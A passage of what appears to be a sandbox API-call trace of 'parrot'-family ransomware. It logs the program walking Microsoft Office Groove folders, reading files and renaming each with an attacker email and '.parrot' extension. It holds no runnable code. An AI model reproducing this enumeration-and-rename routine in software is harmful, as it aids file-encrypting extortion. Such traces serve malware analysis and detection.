lpNumberOfBytesRead=0x18e604, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e604*=0xf76, lpOverlapped=0x0) returned 1 [0193.416] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0193.417] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\BriefcaseIconMask.bmp" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveprojecttoolset\\briefcaseiconmask.bmp"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\BriefcaseIconMask.bmp.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveprojecttoolset\\briefcaseiconmask.bmp.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0193.423] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0193.423] ReadFile (in: hFile=0x288, lpBuffer=0x18e660, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e604, lpOverlapped=0x0 | out: lpBuffer=0x18e660*, lpNumberOfBytesRead=0x18e604*=0x18, lpOverlapped=0x0) returned 1 [0193.434] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0193.434] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x32cd, lpNumberOfBytesRead=0x18e604, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e604*=0x32cd, lpOverlapped=0x0) returned 1 [0193.435] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0193.436] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\CircleIcons.jpg" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveprojecttoolset\\circleicons.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\CircleIcons.jpg.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveprojecttoolset\\circleicons.jpg.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0193.442] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0193.442] ReadFile (in: hFile=0x288, lpBuffer=0x18e660, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e604, lpOverlapped=0x0 | out: lpBuffer=0x18e660*, lpNumberOfBytesRead=0x18e604*=0x18, lpOverlapped=0x0) returned 1 [0193.443] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0193.443] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x114c, lpNumberOfBytesRead=0x18e604, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e604*=0x114c, lpOverlapped=0x0) returned 1 [0193.444] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0193.445] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\CircleIconsMask.bmp" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveprojecttoolset\\circleiconsmask.bmp"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\CircleIconsMask.bmp.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveprojecttoolset\\circleiconsmask.bmp.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0193.450] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0193.450] ReadFile (in: hFile=0x288, lpBuffer=0x18e660, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e604, lpOverlapped=0x0 | out: lpBuffer=0x18e660*, lpNumberOfBytesRead=0x18e604*=0x18, lpOverlapped=0x0) returned 1 [0193.451] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0193.452] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x26ba, lpNumberOfBytesRead=0x18e604, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e604*=0x26ba, lpOverlapped=0x0) returned 1 [0193.453] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0193.453] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\MeetingIcon.jpg" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveprojecttoolset\\meetingicon.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\MeetingIcon.jpg.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveprojecttoolset\\meetingicon.jpg.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0193.458] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0193.458] ReadFile (in: hFile=0x288, lpBuffer=0x18e660, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e604, lpOverlapped=0x0 | out: lpBuffer=0x18e660*, lpNumberOfBytesRead=0x18e604*=0x18, lpOverlapped=0x0) returned 1 [0193.459] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0193.459] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x6b8, lpNumberOfBytesRead=0x18e604, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e604*=0x6b8, lpOverlapped=0x0) returned 1 [0193.459] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0193.460] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\MeetingIconMask.bmp" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveprojecttoolset\\meetingiconmask.bmp"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\MeetingIconMask.bmp.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveprojecttoolset\\meetingiconmask.bmp.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0193.465] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0193.465] ReadFile (in: hFile=0x288, lpBuffer=0x18e660, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e604, lpOverlapped=0x0 | out: lpBuffer=0x18e660*, lpNumberOfBytesRead=0x18e604*=0x18, lpOverlapped=0x0) returned 1 [0193.467] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0193.467] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x19e9, lpNumberOfBytesRead=0x18e604, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e604*=0x19e9, lpOverlapped=0x0) returned 1 [0193.468] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0193.468] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ProjectStatusIcons.jpg" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveprojecttoolset\\projectstatusicons.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ProjectStatusIcons.jpg.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveprojecttoolset\\projectstatusicons.jpg.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0193.473] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0193.473] ReadFile (in: hFile=0x288, lpBuffer=0x18e660, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e604, lpOverlapped=0x0 | out: lpBuffer=0x18e660*, lpNumberOfBytesRead=0x18e604*=0x18, lpOverlapped=0x0) returned 1 [0193.474] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0193.474] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xa10, lpNumberOfBytesRead=0x18e604, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e604*=0xa10, lpOverlapped=0x0) returned 1 [0193.474] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0193.475] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ProjectStatusIconsMask.bmp" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveprojecttoolset\\projectstatusiconsmask.bmp"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ProjectStatusIconsMask.bmp.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveprojecttoolset\\projectstatusiconsmask.bmp.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0193.479] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0193.479] ReadFile (in: hFile=0x288, lpBuffer=0x18e660, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e604, lpOverlapped=0x0 | out: lpBuffer=0x18e660*, lpNumberOfBytesRead=0x18e604*=0x18, lpOverlapped=0x0) returned 1 [0193.480] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0193.480] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x200e, lpNumberOfBytesRead=0x18e604, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e604*=0x200e, lpOverlapped=0x0) returned 1 [0193.481] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0193.481] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ProjectTaskIcon.jpg" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveprojecttoolset\\projecttaskicon.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ProjectTaskIcon.jpg.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveprojecttoolset\\projecttaskicon.jpg.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0193.485] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0193.485] ReadFile (in: hFile=0x288, lpBuffer=0x18e660, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e604, lpOverlapped=0x0 | out: lpBuffer=0x18e660*, lpNumberOfBytesRead=0x18e604*=0x18, lpOverlapped=0x0) returned 1 [0193.487] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0193.487] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x79c, lpNumberOfBytesRead=0x18e604, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e604*=0x79c, lpOverlapped=0x0) returned 1 [0193.487] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0193.488] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ProjectTaskIconMask.bmp" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveprojecttoolset\\projecttaskiconmask.bmp"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ProjectTaskIconMask.bmp.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveprojecttoolset\\projecttaskiconmask.bmp.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0193.491] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ProjectTool\\*", fInfoLevelId=0x0, lpFindFileData=0x18e3cc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18e3cc) returned 0x600590 [0193.492] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0193.492] FindNextFileW (in: hFindFile=0x600590, lpFindFileData=0x18e3cc | out: lpFindFileData=0x18e3cc*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x538bb350, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x538bb350, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x538bb350, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0193.492] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0193.492] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0193.492] FindNextFileW (in: hFindFile=0x600590, lpFindFileData=0x18e3cc | out: lpFindFileData=0x18e3cc*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x538bb350, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6073a7d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6073a7d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Project Report Type", cAlternateFileName="PROJEC~1")) returned 1 [0193.492] lstrcmpW (lpString1="Project Report Type", lpString2=".") returned 1 [0193.492] lstrcmpW (lpString1="Project Report Type", lpString2="..") returned 1 [0193.492] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ProjectTool\\Project Report Type\\*", fInfoLevelId=0x0, lpFindFileData=0x18e0dc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18e0dc) returned 0x6005d0 [0193.492] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0193.492] FindNextFileW (in: hFindFile=0x6005d0, lpFindFileData=0x18e0dc | out: lpFindFileData=0x18e0dc*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x538bb350, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6073a7d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6073a7d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0193.494] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0193.494] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0193.494] FindNextFileW (in: hFindFile=0x6005d0, lpFindFileData=0x18e0dc | out: lpFindFileData=0x18e0dc*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6073a7d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6073a7d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6073a7d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Basic", cAlternateFileName="")) returned 1 [0193.494] lstrcmpW (lpString1="Basic", lpString2=".") returned 1 [0193.494] lstrcmpW (lpString1="Basic", lpString2="..") returned 1 [0193.494] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ProjectTool\\Project Report Type\\Basic\\*", fInfoLevelId=0x0, lpFindFileData=0x18ddec, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18ddec) returned 0x600610 [0193.494] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0193.494] FindNextFileW (in: hFindFile=0x600610, lpFindFileData=0x18ddec | out: lpFindFileData=0x18ddec*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6073a7d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6073a7d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6073a7d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0193.495] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0193.495] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0193.495] FindNextFileW (in: hFindFile=0x600610, lpFindFileData=0x18ddec | out: lpFindFileData=0x18ddec*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb486c900, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x6073a7d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb486c900, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xced, dwReserved0=0x0, dwReserved1=0x0, cFileName="DEFAULT.XSL", cAlternateFileName="")) returned 1 [0193.495] SetFilePointerEx (in: hFile=0x260, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0193.495] ReadFile (in: hFile=0x260, lpBuffer=0x18dd90, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18dd34, lpOverlapped=0x0 | out: lpBuffer=0x18dd90*, lpNumberOfBytesRead=0x18dd34*=0x18, lpOverlapped=0x0) returned 1 [0193.496] SetFilePointerEx (in: hFile=0x260, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0193.497] ReadFile (in: hFile=0x260, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xced, lpNumberOfBytesRead=0x18dd34, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18dd34*=0xced, lpOverlapped=0x0) returned 1 [0193.497] SetFilePointerEx (in: hFile=0x260, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0193.498] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ProjectTool\\Project Report Type\\Basic\\DEFAULT.XSL" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveprojecttoolset\\projecttool\\project report type\\basic\\default.xsl"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ProjectTool\\Project Report Type\\Basic\\DEFAULT.XSL.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveprojecttoolset\\projecttool\\project report type\\basic\\default.xsl.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0193.502] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ProjectTool\\Project Report Type\\Basic\\*", fInfoLevelId=0x0, lpFindFileData=0x18ddec, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18ddec) returned 0x600610 [0193.502] FindNextFileW (in: hFindFile=0x600610, lpFindFileData=0x18ddec | out: lpFindFileData=0x18ddec*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6073a7d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xff5db420, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xff5db420, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0193.502] FindNextFileW (in: hFindFile=0x600610, lpFindFileData=0x18ddec | out: lpFindFileData=0x18ddec*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb486c900, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x6073a7d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xff5db420, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0xe08, dwReserved0=0x0, dwReserved1=0x0, cFileName="DEFAULT.XSL.[cryptonationusa@protonmail.com].parrot", cAlternateFileName="DEFAUL~1.PAR")) returned 1 [0193.502] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ProjectTool\\Project Report Type\\Fancy\\*", fInfoLevelId=0x0, lpFindFileData=0x18ddec, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18ddec) returned 0x600610 [0193.503] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0193.503] FindNextFileW (in: hFindFile=0x600610, lpFindFileData=0x18ddec | out: lpFindFileData=0x18ddec*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x538bb350, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x69c4c990, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x69c4c990, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0193.504] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0193.504] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0193.504] FindNextFileW (in: hFindFile=0x600610, lpFindFileData=0x18ddec | out: lpFindFileData=0x18ddec*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb486c900, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x61cccf30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb486c900, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x16c5, dwReserved0=0x0, dwReserved1=0x0, cFileName="Hierarchy.js", cAlternateFileName="HIERAR~1.JS")) returned 1 [0193.504] SetFilePointerEx (in: hFile=0x260, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0193.504] ReadFile (in: hFile=0x260, lpBuffer=0x18dd90, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18dd34, lpOverlapped=0x0 | out: lpBuffer=0x18dd90*, lpNumberOfBytesRead=0x18dd34*=0x18, lpOverlapped=0x0) returned 1 [0193.506] SetFilePointerEx (in: hFile=0x260, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0193.506] ReadFile (in: hFile=0x260, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x16c5, lpNumberOfBytesRead=0x18dd34, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18dd34*=0x16c5, lpOverlapped=0x0) returned 1 [0193.507] SetFilePointerEx (in: hFile=0x260, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0193.507] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ProjectTool\\Project Report Type\\Fancy\\Hierarchy.js" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveprojecttoolset\\projecttool\\project report type\\fancy\\hierarchy.js"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ProjectTool\\Project Report Type\\Fancy\\Hierarchy.js.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveprojecttoolset\\projecttool\\project report type\\fancy\\hierarchy.js.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0193.512] SetFilePointerEx (in: hFile=0x260, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0193.512] ReadFile (in: hFile=0x260, lpBuffer=0x18dd90, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18dd34, lpOverlapped=0x0 | out: lpBuffer=0x18dd90*, lpNumberOfBytesRead=0x18dd34*=0x18, lpOverlapped=0x0) returned 1 [0193.513] SetFilePointerEx (in: hFile=0x260, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0193.513] ReadFile (in: hFile=0x260, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x157e, lpNumberOfBytesRead=0x18dd34, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18dd34*=0x157e, lpOverlapped=0x0) returned 1 [0193.514] SetFilePointerEx (in: hFile=0x260, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0193.514] MoveFileExW 